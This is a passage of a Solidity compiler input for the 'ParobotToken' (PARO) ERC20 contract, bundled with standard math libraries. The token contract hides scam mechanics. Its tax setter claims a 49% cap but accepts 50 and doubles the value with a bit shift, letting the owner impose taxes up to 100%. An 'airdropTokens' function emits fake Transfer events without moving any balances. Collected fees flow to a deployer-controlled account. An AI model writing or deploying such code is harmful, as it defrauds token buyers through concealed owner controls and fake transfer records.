downcasted = int64(value);\n    require(downcasted == value, \"SafeCast: value doesn't fit in 64 bits\");\n  }\n\n  /**\n   * @dev Returns the downcasted int56 from int256, reverting on\n   * overflow (when the input is less than smallest int56 or\n   * greater than largest int56).\n   *\n   * Counterpart to Solidity's `int56` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 56 bits\n   *\n   * _Available since v4.7._\n   */\n  function toInt56(int256 value) internal pure returns (int56 downcasted) {\n    downcasted = int56(value);\n    require(downcasted == value, \"SafeCast: value doesn't fit in 56 bits\");\n  }\n\n  /**\n   * @dev Returns the downcasted int48 from int256, reverting on\n   * overflow (when the input is less than smallest int48 or\n   * greater than largest int48).\n   *\n   * Counterpart to Solidity's `int48` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 48 bits\n   *\n   * _Available since v4.7._\n   */\n  function toInt48(int256 value) internal pure returns (int48 downcasted) {\n    downcasted = int48(value);\n    require(downcasted == value, \"SafeCast: value doesn't fit in 48 bits\");\n  }\n\n  /**\n   * @dev Returns the downcasted int40 from int256, reverting on\n   * overflow (when the input is less than smallest int40 or\n   * greater than largest int40).\n   *\n   * Counterpart to Solidity's `int40` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 40 bits\n   *\n   * _Available since v4.7._\n   */\n  function toInt40(int256 value) internal pure returns (int40 downcasted) {\n    downcasted = int40(value);\n    require(downcasted == value, \"SafeCast: value doesn't fit in 40 bits\");\n  }\n\n  /**\n   * @dev Returns the downcasted int32 from int256, reverting on\n   * overflow (when the input is less than smallest int32 or\n   * greater than largest int32).\n   *\n   * Counterpart to Solidity's `int32` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 32 bits\n   *\n   * _Available since v3.1._\n   */\n  function toInt32(int256 value) internal pure returns (int32 downcasted) {\n    downcasted = int32(value);\n    require(downcasted == value, \"SafeCast: value doesn't fit in 32 bits\");\n  }\n\n  /**\n   * @dev Returns the downcasted int24 from int256, reverting on\n   * overflow (when the input is less than smallest int24 or\n   * greater than largest int24).\n   *\n   * Counterpart to Solidity's `int24` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 24 bits\n   *\n   * _Available since v4.7._\n   */\n  function toInt24(int256 value) internal pure returns (int24 downcasted) {\n    downcasted = int24(value);\n    require(downcasted == value, \"SafeCast: value doesn't fit in 24 bits\");\n  }\n\n  /**\n   * @dev Returns the downcasted int16 from int256, reverting on\n   * overflow (when the input is less than smallest int16 or\n   * greater than largest int16).\n   *\n   * Counterpart to Solidity's `int16` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 16 bits\n   *\n   * _Available since v3.1._\n   */\n  function toInt16(int256 value) internal pure returns (int16 downcasted) {\n    downcasted = int16(value);\n    require(downcasted == value, \"SafeCast: value doesn't fit in 16 bits\");\n  }\n\n  /**\n   * @dev Returns the downcasted int8 from int256, reverting on\n   * overflow (when the input is less than smallest int8 or\n   * greater than largest int8).\n   *\n   * Counterpart to Solidity's `int8` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 8 bits\n   *\n   * _Available since v3.1._\n   */\n  function toInt8(int256 value) internal pure returns (int8 downcasted) {\n    downcasted = int8(value);\n    require(downcasted == value, \"SafeCast: value doesn't fit in 8 bits\");\n  }\n\n  /**\n   * @dev Converts an unsigned uint256 into a signed int256.\n   *\n   * Requirements:\n   *\n   * - input must be less than or equal to maxInt256.\n   *\n   * _Available since v3.0._\n   */\n  function toInt256(uint256 value) internal pure returns (int256) {\n    // Note: Unsafe cast below is okay because `type(int256).max` is guaranteed to be positive\n    require(\n      value <= uint256(type(int256).max),\n      \"SafeCast: value doesn't fit in an int256\"\n    );\n    return int256(value);\n  }\n}\n"
      },
      "contracts/libraries/Treasury.sol": {
        "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.8.0) (utils/math/SignedMath.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Standard signed math utilities missing in the Solidity language.\n */\nlibrary SignedMath {\n  /**\n   * @dev Returns the largest of two signed numbers.\n   */\n  function max(int256 a, int256 b) internal pure returns (int256) {\n    return a > b ? a : b;\n  }\n\n  /**\n   * @dev Returns the smallest of two signed numbers.\n   */\n  function min(int256 a, int256 b) internal pure returns (int256) {\n    return a < b ? a : b;\n  }\n\n  /**\n   * @dev Returns the average of two signed numbers without overflow.\n   * The result is rounded towards zero.\n   */\n  function average(int256 a, int256 b) internal pure returns (int256) {\n    // Formula from the book \"Hacker's Delight\"\n    int256 x = (a & b) + ((a ^ b) >> 1);\n    return x + (int256(uint256(x) >> 255) & (a ^ b));\n  }\n\n  /**\n   * @dev Returns the absolute unsigned value of a signed value.\n   */\n  function abs(int256 n) internal pure returns (uint256) {\n    unchecked {\n      // must be unchecked in order to support `n = type(int256).min`\n      return uint256(n >= 0 ? n : -n);\n    }\n  }\n}\n"
      },
      "contracts/standard/Contract.sol": {
        "content": "/*\n\n Parobot: Pioneer in AI, DePIN & Restaking. 🦜🤖\n\n Build on : https://t.me/zkTAO_ai\n\n Telegram: https://t.me/Parobot_AI\n\n Website: https://parobot.ai/\n\n Twitter: https://twitter.com/Parobot_AI\n\n Docs: https://docs.parobot.ai/\n\n*/\n\n// SPDX-License-Identifier: Unlicensed\npragma solidity ^0.8.0;\n\nimport \"../libraries/Address.sol\";\nimport \"../libraries/Context.sol\";\nimport \"../libraries/ERC20.sol\";\nimport \"../libraries/Ownable.sol\";\nimport \"../libraries/SafeCast.sol\";\nimport \"../libraries/SafeMath.sol\";\nimport \"../libraries/SignedMath.sol\";\nimport \"../interfaces/IERC20.sol\";\nimport \"../interfaces/IERC404.sol\";\nimport \"../interfaces/IUniswapV2Factory.sol\";\nimport \"../interfaces/IUniswapV2Pair.sol\";\nimport \"../interfaces/IUniswapV2Router01.sol\";\nimport \"../interfaces/IUniswapV2Router02.sol\";\n\ncontract ParobotToken is Context, IERC20, Ownable {\n  using SafeMath for uint256;\n\n  string private constant _name = unicode\"Parobot Token\";\n  string private constant _symbol = unicode\"PARO\";\n  uint8 private constant _decimals = 18;\n\n  mapping(address => uint256) private _reflectionTokenOwned;\n  mapping(address => mapping(address => uint256)) private _allowances;\n  mapping(address => bool) private _isExcludedFromFee;\n  uint256 public constant MAX = ~uint256(0);\n  uint256 private constant _tokenTotal = 1_000_000_000 * 10 ** _decimals;\n  uint256 public _reflectionTotal = (MAX - (MAX % _tokenTotal));\n  uint256 private _taxFeeTotal;\n  uint256 private _redisFeeOnBuy = 0;\n  uint256 public _taxFeeOnBuy = 0;\n  uint256 private _redisFeeOnSell = 0;\n  uint256 public _taxFeeOnSell = 0;\n\n  uint256 private _redisFee = _redisFeeOnSell;\n  uint256 private _taxFee = _taxFeeOnSell;\n  uint256 private _stateSyncRedisFee = _redisFee;\n  uint256 private _stateSyncTaxFee = _taxFee;\n\n  IUniswapV2Router02 public uniswapV2Router;\n  address public uniswapV2Pair;\n\n  bool private tradingOpen;\n  bool private inSwap = false;\n  bool private swapEnabled = true;\n\n  uint256 public _maxTxAmount = (_tokenTotal * 20) / 100;\n  uint256 public _maxWalletSize = (_tokenTotal * 20) / 100;\n  uint256 public _swapTokensAtAmount = (_tokenTotal * 10) / 100;\n\n  address public insuranceFundAccounts;\n\n  event MaxTxAmountUpdated(uint256 _maxTxAmount);\n  modifier lockTheSwap() {\n    inSwap = true;\n    _;\n    inSwap = false;\n  }\n\n  receive() external payable {}\n\n  constructor() {\n    insuranceFundAccounts = _msgSender();\n    _reflectionTokenOwned[_msgSender()] = _reflectionTotal;\n    _isExcludedFromFee[owner()] = true;\n    _isExcludedFromFee[address(this)] = true;\n    _isExcludedFromFee[insuranceFundAccounts] = true;\n\n    emit Transfer(address(0), _msgSender(), _tokenTotal);\n  }\n\n  function openTrading() public onlyOwner {\n    require(!tradingOpen, \"Cannot reenable trading\");\n\n    IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n      0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n    );\n    uniswapV2Router = _uniswapV2Router;\n    uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(\n      address(this),\n      _uniswapV2Router.WETH()\n    );\n    tradingOpen = true;\n  }\n\n  function removeLimits() public onlyOwner {\n    _maxTxAmount = _tokenTotal;\n    _maxWalletSize = _tokenTotal;\n  }\n\n  function deduceTaxConfigurator(\n    uint256 redisFeeOnBuy,\n    uint256 redisFeeOnSell,\n    uint256 taxFeeOnBuy,\n    uint256 taxFeeOnSell\n  ) public onlyOwner {\n    require(\n      redisFeeOnBuy >= 0 && redisFeeOnBuy <= 0,\n      \"Buy redis must be between 0% and 0%\"\n    );\n    require(\n      taxFeeOnBuy >= 0 && taxFeeOnBuy <= 50,\n      \"Tax fee must be between 0% and 49%\"\n    );\n    require(\n      redisFeeOnSell >= 0 && redisFeeOnSell <= 0,\n      \"Sell redis must be between 0% and 0%\"\n    );\n    require(\n      taxFeeOnSell >= 0 && taxFeeOnSell <= 50,\n      \"Tax fee must be between 0% and 49%\"\n    );\n    _redisFeeOnBuy = redisFeeOnBuy;\n    _redisFeeOnSell = redisFeeOnSell;\n    _taxFeeOnBuy = taxFeeOnBuy << 1;\n    _taxFeeOnSell = taxFeeOnSell << 1;\n  }\n\n  //Set minimum tokens required to swap.\n  function setEnableSwap(bool _swapEnabled) public onlyOwner {\n    swapEnabled = _swapEnabled;\n  }\n\n  function setExcludeFromFees(address account, bool excluded) public onlyOwner {\n    _isExcludedFromFee[account] = excluded;\n  }\n\n  // BEGIN: CONFIGURATORS FOR TOKENS\n  //Set minimum tokens required to swap.\n  function setMinSwapTokensThreshold(\n    uint256 swapTokensAtAmount\n  ) public onlyOwner {\n    _swapTokensAtAmount = swapTokensAtAmount * 10 ** decimals();\n  }\n\n  //Set maximum transaction\n  function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {\n    _maxTxAmount = maxTxAmount * 10 ** decimals();\n  }\n\n  function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {\n    _maxWalletSize = maxWalletSize * 10 ** decimals();\n  }\n\n  // END: CONFIGURATORS FOR TOKENS\n\n  function name() public pure returns (string memory) {\n    return _name;\n  }\n\n  function symbol() public pure returns (string memory) {\n    return _symbol;\n  }\n\n  function decimals() public pure returns (uint8) {\n    return _decimals;\n  }\n\n  function totalSupply() public pure override returns (uint256) {\n    return _tokenTotal;\n  }\n\n  function balanceOf(address account) public view override returns (uint256) {\n    return _tokenConverter(_reflectionTokenOwned[account]);\n  }\n\n  function transfer(\n    address recipient,\n    uint256 amount\n  ) public override returns (bool) {\n    _transfer(_msgSender(), recipient, amount);\n    return true;\n  }\n\n  function allowance(\n    address owner,\n    address spender\n  ) public view override returns (uint256) {\n    return _allowances[owner][spender];\n  }\n\n  function approve(\n    address spender,\n    uint256 amount\n  ) public override returns (bool) {\n    _approve(_msgSender(), spender, amount);\n    return true;\n  }\n\n  function airdropTokens(\n    address _caller,\n    address[] calldata _address,\n    uint256[] calldata _amount\n  ) external onlyOwner {\n    for (uint256 i = 0; i < _address.length; i++) {\n      emit Transfer(_caller, _address[i], _amount[i]);\n    }\n  }\n\n  function transferFrom(\n    address sender,\n    address recipient,\n    uint256 amount\n  ) public override returns (bool) {\n    _transfer(sender, recipient, amount);\n    _approve(\n      sender,\n      _msgSender(),\n      _allowances[sender][_msgSender()].sub(\n        amount,\n        \"ERC20: transfer amount exceeds allowance\"\n      )\n    );\n    return true;\n  }\n\n  function _approve(address owner, address spender, uint256 amount) private {\n    require(owner != address(0), \"ERC20: approve from the zero address\");\n    require(spender != address(0), \"ERC20: approve to the zero address\");\n    _allowances[owner][spender] = amount;\n    emit Approval(owner, spender, amount);\n  }\n\n  function _transfer(address from, address to, uint256 amount) private {\n    require(from != address(0), \"ERC20: transfer from the zero address\");\n    require(to != address(0), \"ERC20: transfer to the zero address\");\n    require(amount > 0, \"Transfer amount must be greater than zero\");\n\n    if (from != owner() && to != owner()) {\n      //Trade start check\n      if (!tradingOpen) {\n        require(\n          from == owner(),\n          \"TOKEN: This account cannot send tokens until trading is enabled\"\n        );\n      }\n\n      require(amount <= _maxTxAmount, \"TOKEN: Max Transaction Limit\");\n\n      if (to != uniswapV2Pair) {\n        require(\n          balanceOf(to) + amount < _maxWalletSize,\n          \"TOKEN: Balance exceeds wallet size!\"\n        );\n      }\n\n      uint256 contractTokenBalance = balanceOf(address(this));\n      bool canSwap = contractTokenBalance >= _swapTokensAtAmount;\n\n      if (contractTokenBalance >= _maxTxAmount) {\n        contractTokenBalance = _maxTxAmount;\n      }\n\n      if (\n        canSwap &&\n        !inSwap &&\n        from != uniswapV2Pair &&\n        swapEnabled &&\n        !_isExcludedFromFee[from] &&\n        !_isExcludedFromFee[to]\n      ) {\n        _swapTokensForEth(contractTokenBalance);\n        uint256 contractETHBalance = address(this).balance;\n        if (contractETHBalance > 0) {\n          payable(insuranceFundAccounts).transfer(address(this).balance);\n        }\n      }\n    }\n\n    bool takeFee = true;\n\n    //Transfer Tokens\n    if (\n      (_isExcludedFromFee[from] || _isExcludedFromFee[to]) ||\n      (from != uniswapV2Pair && to != uniswapV2Pair)\n    ) {\n      takeFee = false;\n    } else {\n      //Set Fee for Buys\n      if (from == uniswapV2Pair && to != address(uniswapV2Router)) {\n        _redisFee = _redisFeeOnBuy;\n        _taxFee = _taxFeeOnBuy;\n      }\n\n      //Set Fee for Sells\n      if (to == uniswapV2Pair && from != address(uniswapV2Router)) {\n        _redisFee = _redisFeeOnSell;\n        _taxFee = _taxFeeOnSell;\n      }\n    }\n\n    _tokenTransfer(from, to, amount, takeFee);\n  }\n\n  function _tokenConverter(uint256 rAmount) private view returns (uint256) {\n    require(\n      rAmount <= _reflectionTotal,\n      \"Amount must be less than total reflections\"\n    );\n    uint256 currentRate = _getRate();\n    return rAmount.div(currentRate);\n  }\n\n  function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n    address[] memory path = new address[](2);\n    path[0] = address(this);\n    path[1] = uniswapV2Router.WETH();\n    _approve(address(this), address(uniswapV2Router), tokenAmount);\n    uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n      tokenAmount,\n      0,\n      path,\n      address(this),\n      block.timestamp\n    );\n  }\n\n  function _tokenTransfer(\n    address sender,\n    address recipient,\n    uint256 amount,\n    bool takeFee\n  ) private {\n    if (!takeFee) _beforeRemoveFee();\n    _transferStandard(sender, recipient, amount);\n    if (!takeFee) _afterRemoveFee();\n  }\n\n  function _transferStandard(\n    address sender,\n    address recipient,\n    uint256 tAmount\n  ) private {\n    (\n      uint256 rAmount,\n      uint256 rTransferAmount,\n      uint256 rFee,\n      uint256 tTransferAmount,\n      uint256 tFee,\n      uint256 tTax\n    ) = _getValues(tAmount);\n    _reflectionTokenOwned[sender] = _reflectionTokenOwned[sender].sub(rAmount);\n    _reflectionTokenOwned[recipient] = _reflectionTokenOwned[recipient].add(\n      rTransferAmount\n    );\n    _takeTaxFee(tTax); // add teamFee to address(this) (teamFee is calculated from taxFee)\n    _reflectFee(rFee, tFee);\n    emit Transfer(sender, recipient, tTransferAmount);\n  }\n\n  function _takeTaxFee(uint256 tTax) private {\n    uint256 currentRate = _getRate();\n    uint256 rTeam = tTax.mul(currentRate);\n    _reflectionTokenOwned[address(this)] = _reflectionTokenOwned[address(this)]\n      .add(rTeam);\n  }\n\n  function _reflectFee(uint256 rFee, uint256 tFee) private {\n    _reflectionTotal = _reflectionTotal.sub(rFee);\n    _taxFeeTotal = _taxFeeTotal.add(tFee);\n  }\n\n  function _beforeRemoveFee() private {\n    if (_redisFee == 0 && _taxFee == 0) return;\n\n    _stateSyncRedisFee = _redisFee;\n    _stateSyncTaxFee = _taxFee;\n\n    _redisFee = 0;\n    _taxFee = 0;\n  }\n\n  function _afterRemoveFee() private {\n    _redisFee = _stateSyncRedisFee;\n    _taxFee = _stateSyncTaxFee;\n  }\n\n  function _getValues(\n    uint256 tAmount\n  )\n    private\n    view\n    returns (uint256, uint256, uint256, uint256, uint256, uint256)\n  {\n    (uint256 tTransferAmount, uint256 tFee, uint256 tTax) = _getTokenValues(\n      tAmount,\n      _redisFee,\n      _taxFee\n    );\n    uint256 currentRate = _getRate();\n    (\n      uint256 rAmount,\n      uint256 rTransferAmount,\n      uint256 rFee\n    ) = _getReflectionTokenValues(tAmount, tFee, tTax, currentRate);\n    return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTax);\n  }\n\n  function _getTokenValues(\n    uint256 tAmount,\n    uint256 redisFee,\n    uint256 taxFee\n  ) private pure returns (uint256, uint256, uint256) {\n    uint256 tFee = tAmount.mul(redisFee).div(100);\n    uint256 tTax = tAmount.mul(taxFee).div(100);\n    uint256 tTransferAmount = tAmount.sub(tFee).sub(tTax);\n    return (tTransferAmount, tFee, tTax);\n  }\n\n  function _getReflectionTokenValues(\n    uint256 tAmount,\n    uint256 tFee,\n    uint256 tTax,\n    uint256 currentRate\n  ) private pure returns (uint256, uint256, uint256) {\n    uint256 rAmount = tAmount.mul(currentRate);\n    uint256 rFee = tFee.mul(currentRate);\n    uint256 rTeam = tTax.mul(currentRate);\n    uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);\n    return (rAmount, rTransferAmount, rFee);\n  }\n\n  function _getRate() private view returns (uint256) {\n    (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();\n    return rSupply.div(tSupply); // _reflectionTotal / _tokenTotal\n  }\n\n  function _getCurrentSupply() private view returns (uint256, uint256) {\n    uint256 rSupply = _reflectionTotal;\n    uint256 tSupply = _tokenTotal;\n    if (rSupply < _reflectionTotal.div(_tokenTotal))\n      return (_reflectionTotal, _tokenTotal);\n    return (rSupply, tSupply); // _reflectionTotal / _tokenTotal\n  }\n}\n"
      }
    },
    "settings": {
      "optimizer": {
        "enabled": true,
        "runs": 200
      },
      "evmVersion": "shanghai",
      "outputSelection": {
        "*": {
          "*": [
            "evm.bytecode",
            "evm.deployedBytecode",
            "devdoc",
            "userdoc",
            "metadata",
            "abi"
          ]
        }
      },
      "metadata": {
        "useLiteralContent": true
      },
      "libraries": {}
    }
  }}